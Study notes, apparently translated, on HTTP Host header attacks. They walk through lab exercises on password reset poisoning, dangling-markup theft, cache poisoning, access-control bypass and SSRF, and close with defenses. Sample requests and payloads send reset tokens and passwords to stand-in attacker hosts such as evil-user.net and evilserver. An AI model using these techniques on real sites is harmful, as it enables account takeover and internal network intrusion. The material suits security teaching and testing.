HTTP Host Header Attack - Study Notes

1. HTTP Host header attacks

Starting with HTTP / 1.1, the HTTP Host header is a required request header. It specifies the domain name that the client wants to access. For example, when a user accesses https://example.net/web-security, their browser will compose a request containing the Host header, as follows.

1
2

GET /web-security HTTP/1.1
Host: example.net

In some cases, such as when a request is forwarded by a proxy, the Host value may be changed before it reaches the intended back-end component. A Host header attack also occurs.

2. The role of the HTTP Host header

The purpose of the HTTP Host header is to help identify the back-end component with which the client is to communicate. If the request does not contain a Host header or is incorrectly formatted, it can cause problems when it is passed into the requested application.

Historically, this vulnerability was not much of a problem because each IP address would only be used for the contents of a single domain. Today, due in large part to the presence of multiple web applications on the same IP (different ports, different domain resolutions, etc.), it is often possible to access multiple websites and applications from the same IP address. The popularity of this approach is also due in part to IPv4 address exhaustion.

When multiple applications can be accessed from the same IP address, the most common reason is one of the following.

• Virtual hosting

  A single web server hosting multiple websites or applications. This could be multiple websites with a single owner, but it could also be websites with different owners hosted on the same shared platform. They all share a common IP address with the server.

• Routing traffic through a proxy

  Websites are hosted on different back-end servers, but all traffic between the client and the server is routed through a proxy system. This could be a simple load balancing device or some kind of reverse proxy server. This setup is especially common in cases where clients access the site through a content delivery network (CDN).

In both of the above cases, even though the sites are hosted on separate back-end servers, all of their domain names resolve to a single IP address of an intermediate component. This presents the same problem as web hosting, since reverse proxying or load balancing requires knowing which backend each request goes to.

The HTTP Host header does just that, specifying that the request should be sent to that application’s backend server. Let’s say a letter needs to be delivered to someone living in an apartment building, and there are many rooms throughout the apartment, each of which can receive mail, by specifying the room number and the recipient (aka HTTP Host header) to deliver the envelope to the specified person.

3. What is HTTP Host header attack

Some websites handle the value of the Host header in an insecure manner. If the server trusts the Host header directly, without verifying its legitimacy, an attacker may be able to use this controlled variable to inject the Host in order to manipulate server-side behavior.

Off-the-shelf Web applications usually do not know which domain to deploy them on unless that domain is manually specified in the configuration file during installation. For example, when they need to know the current domain in order to generate the absolute URL contained in an email, they may rely on the value in the Host header.

1

<a href="https://_SERVER['HOST']/support">联系支持</a>

Host header values can also be used for various interactions between different web systems.

Since the Host header is actually user-controllable, this practice can lead to many problems. If left unchecked or used directly, the Host header can be used in combination with a series of other exploits, such as

• Cache poisoning
• Logic vulnerabilities in special business functions
• Route-based SSRF
• Classic server-side vulnerabilities, such as SQL injection (when the Host is used for SQL statements), etc.

4. How to uncover HTTP Host header attacks

The first step is to determine whether the server-side detects Host headers? After the detection is still using the value of the Host header?

By modifying the value of the Host, if the server side returns an error message.

Then the server side detects the content of the Host. As to whether the value of the Host header is used or not, there are several ways to discover it.

Modify Host value

Simply put, the Host value in the HTTP header can be modified, and if the response packet is observed to contain the modified value, it indicates a vulnerability.

However, sometimes tampering with the value of the Host header can prevent access to the web application, resulting in an “invalid host header” error message, especially if the target is accessed through a CDN.

Adding Duplicate Host Headers

Adding a duplicate Host header, usually one of the two Host headers is valid, which can be interpreted as one to ensure that the request is correctly sent to the target server and the other to pass the payload to the backend server.

1
2
3

GET /example HTTP/1.1
Host: vulnerable-website.com
Host: attackd-stuff

URLs using absolute paths

Although many requests typically use relative paths on the request domain, requests with absolute URLs are also configured at the same time.

1
2

GET https://vulnerable-website.com/ HTTP/1.1
Host: attack-stuff

Sometimes it is also possible to try different protocols, such as HTTP or HTTPS.

Add indent or newline

When some sites block requests with multiple Host headers, they can be bypassed by adding indented characters to the HTTP header.

1
2
3

GET /example HTTP/1.1
 Host: attack-stuff
Host: vulnerable-website.com

Inject fields that override the Host header

Fields with similar functionality to the Host header, such as X-Forwarded-Host, X-Forwarded-For, etc., which are sometimes turned on by default.

1
2
3

GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attack-stuff

Blah, blah, blah, and other fields.

• X-Host
• X-Forwarded-Server
• X-HTTP-Host-Override
• Forwarded

Ignore port only verify domain name

When modifying, adding duplicate Host headers is blocked, try to understand how the web application parses the Host header.

For example, some parsing algorithms will ignore the port value in the Host header and only verify the domain name. At this point, the Host can be modified to the following form.

1
2

GET /example HTTP/1.1
Host: vulnerable-website.com:attack-stuff

Keep the domain name unchanged, modify the port value to a value other than the port number (non-numeric), place the payload of the Host header attack at the port value, the same Host header attack can be carried out.

5. HTTP Host header attack vulnerability example

5.1 Password reset poisoning

According to the attack characteristics of the HTTP Host header attack, it is widely used in password reset poisoning: an attacker can manipulate the password reset link generated by a website in the case of a password reset, so that it is sent under the domain specified by the attacker, and use this to steal the token to reset the password of any user.

The general flow of a password reset (forgotten password) function is as follows.

1. The user enters their username or email address and then submits a password reset request.

2. The site checks to see if the user exists and then generates a temporary, unique, complex token that is associated with the back-end user account.

3. The site sends an email to the user with a link to reset their password. The parameters for resetting the token are included in the corresponding URL.

   1	https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j

4. When the user visits this URL, the site will check if the token provided is valid and use it to determine which account to reset. If everything matches, the user can proceed to the user reset password step. Finally, the token is destroyed.

The security of the above step relies on the fact that only the target user has access to their email and thus to their unique token.

Password reset poisoning is a vulnerability that steals this token in order to change another user’s password.

This can lead to password reset poisoning if a website’s password reset process relies entirely on controlled user input (e.g. HTTP Host header).

1. the attacker obtains the victim’s username or email as a request to submit a password reset, the attacker intercepts the request and modifies the HTTP Host header for the domain it specifies, such as evil-user.net

2. the victim will receive an email to reset the password, but because the attacker modified the Host header, and the web application generates the reset link is completely dependent on the Host header, resulting in the following URL.

   1	https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j

3. if the victim clicks on the link, the password reset token will be sent to the attacker’s server evil-user.net

4. When the attacker gets the token of the worm password, it will be constructed accordingly to visit the real reset password URL to reset the password.

5.1.1 Password Reset Poisoning - Basics

After understanding the process and principle of password reset poisoning above in detail, the basic password reset poisoning caused by HTTP Host header attack is demonstrated here.

First, enter the user name or the user’s email address to reset the password of the specified user.

After submission, a password reset email will be sent to the wiener user’s email address (the packet is shown below).

Note the link to reset password, may be affected by the value of the Host header?

Let’s verify if there is an HTTP Host header attack by modifying the value of the Host header to baidu.com.

The request was found to be receivable by the back-end server, so there is an HTTP Host header attack.

Here we enter the victim user carlos to reset the password, and then grab the packet to change the value of the Host header to our own server.

The stolen Reset Password Token can then be seen on our own server through the access logs.

The link to reset the password is then constructed according to the known link pattern.

1

https://ac651f551e5317b8800207bd008f000f.web-security-academy.net/forgot-password?temp-forgot-password-token=00YIexUDyNLEJkaBXDoCILWtZAGaxgi7

Then enter the interface to enter a new password, and the password reset poisoning is successful.

5.1.2 Password reset poisoning - injecting fields that overwrite the Host header

Sometimes direct modification of the Host header, adding duplicate Host header values and obfuscating the Host header do not work.

You can try to use HTTP fields with the same function as the Host header, such as X-Forwarded-Host, X-Forwarded-For, etc., which can be Fuzzed.

In fact he was able to be affected by the X-Forwarded-Host field, resulting in a Host header attack, when adding multiple fields at the same time so that the request is blocked, you can try similar exclusion methods, dichotomous methods to rank which field is effective.

Poisoning the victim user carlos with a password reset.

Then just construct the link.

1

https://acf11f4e1f164378800b165b00bb007d.web-security-academy.net/forgot-password?temp-forgot-password-token=o8gD3Le1K0YQcb2AaASgiI8F2eVI5m3h

5.1.3 Reset Password Poisoning - Dangling Markup Technique

First, a brief introduction to the Dangling Markup technique.

• Dangling markup technology

Dangling markup technique, is a technique to steal page content without scripting, it uses resources such as images (combined with policies run by CSPs) to send data to a remote location controlled by the attacker. It is very useful when reflective XSS does not work or is blocked by a content security policy (CSP). The idea is to insert some partial HTML in an unfinished state, such as the src attribute of an image tag, and the rest of the tags on the page turn off that attribute, but at the same time send the data between the two (containing the content of the stolen page) to a remote server.

For example, we inject such an img tag at a reflective XSS injection point.

1

<img src="https://evilserver/?

Then the injection point and the next double-quoted code will be sent to the attacker’s https://evilserver](https://evilserver/ server, where the sent code or content may contain some sensitive information, such as CSRF Token, with reflective XSS to complete the CSRF exploitation.

When can I use Dangling Markup technology? What does it have to do with the topic of this article?

Let’s go straight to the topic, after entering the user name that needs to reset the password, the user will receive the following email in their email.

There is a link that jumps to the login screen, followed by a random password after a reset.

At this point, consider whether the link is taking a value from the Host header. As long as this value is controllable, then a Dangling Markup attack can be performed using a Host header attack, containing the password immediately after the link, and then combining it with a Host header attack to assign the request to the attacker’s server. A roaming theft is completed.

• The first step is to find the Host header attack point.

  Through Fuzz, it can be found that the Host header attack type is Ignore port only verify domain name. That is, when the server verifies the Host domain, only the domain name is verified, ignoring the port number behind, resulting in a controllable port value (can be a number or character).

  

  

  By injecting payload in the port of the Host header, the Host header attack can still be implemented.

• In the second step, the Dangling Markup technique is implemented with the help of the controllable variable Host:ip:port, thus bringing the back password out to the attacker’s server.

  Note that you need to close the double quotes out here, after trying, when you enter single quotes, the server will automatically turn to double quotes, so here the double quotes will be closed by single quotes, and then add a custom <a href=xxx.attack-domain> tag to take the password outside.

  

The original normal HTML would have looked like this.

By using the Dangling Markup technique, the link in the a tag is injected with the ? character, so that all subsequent values are requested as URL parameters to the attacker’s server before the double quotes are closed.

This is the essence of the Dangling Markup technique, the core point of which is.

whether the key data to be stolen (including Token, password, etc.) is followed by a controlled variable

The attacker’s server can see the request forwarded up by the Host header attack, which successfully stole the victim’s reset password.

5.2 Host header attack + cache poisoning

When the web site where the Host header attack exists does not have a password reset feature, the vulnerability appears to have no impact at this point because it is impossible to drive users to grab packets to modify the Host header and assist the attacker in completing a series of attacks.

However, if the target site uses the Web cache, it can be poisoned through the cache to provide other users with a virus cache response. At this point the Host header attack vulnerability is transformed into a similar XSS storage type of vulnerability. To construct a Web cache poisoning attack.

1. one needs to find the cache key that maps to another user’s request.
2. the next step is to cache this malicious response.
3. this malicious cache will then be served to all users who try to access the affected page.

• The first step is to find the Host header attack point.

  By adding duplicate Host values to the site’s home page, an override can be achieved and the presence of a Host header attack can be verified.

  

• In the second step, find out if web caching is used? What is the cache key?

  As you can also see from the image above, the site uses the Wen caching feature and with the Host header attack, it can cache the /resources/js/tracking.js resource file.

• In the third step, a /resources/js/tracking.js resource file with the same name is created on the attacker’s server with the following content.

  1	alert(document.cookie);

The attacker’s server domain name is then injected through the Host header, which can be seen to correctly correspond to our /resources/js/tracking.js resource file in the response.

Send multiple requests so that the response to that request becomes cached.

When other users request the site’s homepage, the server will provide that malicious cache to the user, causing cache poisoning.

5.3 Host header attack to bypass access control

For security reasons, access to certain features of a website is usually restricted to internal users. However, it is possible to bypass these restrictions through Host header attacks.

For a site, from the discovery of a Host header attack to its exploitation, the following is a complete process.

• The first step is to visit the home page and change the value of Host at will.

  

  Note that the value of Host here will not appear in the response packet, but there may still be a Host header attack, because the response is still successful, indicating that the server did not do verification of the Host header.

• The second step is to look for sensitive pages and know that /admin is an access-controlled page through /robots.txt.

  

The error message can indicate that the /admin page is only accessible to local users.

• In the third step, change the Host to the internal address of the server, thus bypassing IP access control.

  

5.4 Host header attack + SSRF

Host header attack may lead to a route-based SSRF attack called: Host SSRF Attack.

Classic SSRF attacks are usually based on XXE or exploitable business logic that sends user-controllable URLs as HTTP requests; while route-based SSRF relies on cloud-deployed architectures that include load balancing and reverse proxies, these middleware assign requests to the corresponding back-end servers for processing, and if the server side does not verify requests forwarded by the Host header, the attacker may send (redirect) the request to any system in the system.

This may require knowing the IP address (private address) of the internal system, which can generally be determined by information gathering or Fuzz to determine a valid private IP address (e.g., enumerate 192.168.1.1/16).

5.4.1 Basic Host header attack + SSRF

For example, the /admin page cannot be accessed in the normal way (404).

Guess /admin exists in the intranet and requires an intranet machine to access it, but with Host header attack + SSRF it can be bypassed and accessed.

• The first step to determine whether the Host is being used, available DNSLog outbound

Here I use Burp Collaborator client to implement the external banding.

It means that the server side is requesting resources based on the domain name of the Host header.

• The second step, based on the Host header SSRF probe intranet host

If some sensitive pages (such as management pages), deep in the intranet, the external network can not be accessed, but through the Host header attack + SSRF can be achieved to bypass access control, so as to access the intranet assets, here Fuzz intranet IP of the C segment 192.168.0.0/24, the direct use of Intruder enumeration.

Get the intranet IP as 192.168.0.240

• Step 3, access the intranet resources

Construct the /admin page and transpose the intranet IP at Host.

5.4.2 Host header attack + SSRF - using absolute path URLs

Sometimes the server will check the value of the Host header, and if the Host is modified, the server will reject all modified requests.

Ordinary requests usually use relative paths on the request domain, however, the server may also configure requests with absolute URLs at the same time, using the following form to bypass validation of the Host.

1

GET http://acab1f4b1f3c7628805c2515009a00c9.web-security-academy.net/ HTTP/1.1

Then use the “Burp Collaborator client” to carry it out.

The success of the extranet means that the Host header is used by the server to request resources from the specified domain name, directly SSRF blasting the intranet.

Visit the intranet page.

6 HTTP Host header attack protection

The easiest way to avoid using Host headers entirely in server-side code is to use only relative URLs.

Other methods include.

6.1 Properly configuring absolute domain URLs

When absolute domain URLs must be used, the URL of the current domain should be manually specified in the configuration file and referenced to the configured value, rather than from the HTTP Host header. This method prevents cache poisoning for password resets.

6.2 Whitelist checksum Host header for domains

If the Host header must be used, it needs to be properly verified for legitimacy. This includes allowing the domain and verifying it using a whitelist, as well as denying or redirecting requests to unrecognizable hosts. This includes, but is not limited to, on individual web applications, load balancing, and reverse proxy devices.

6.3 Host header override is not supported

Ensure that fields with similar functionality to the Host header, such as X-Forwarded-Host, X-Forwarded-For, etc., are not applied, as these are sometimes turned on by default.

It is worth mentioning that Host hosts used on the intranet (not out of the network) should not be hosted on the same server as applications on the public network, otherwise an attacker may be able to manipulate the Host header to access the internal domain.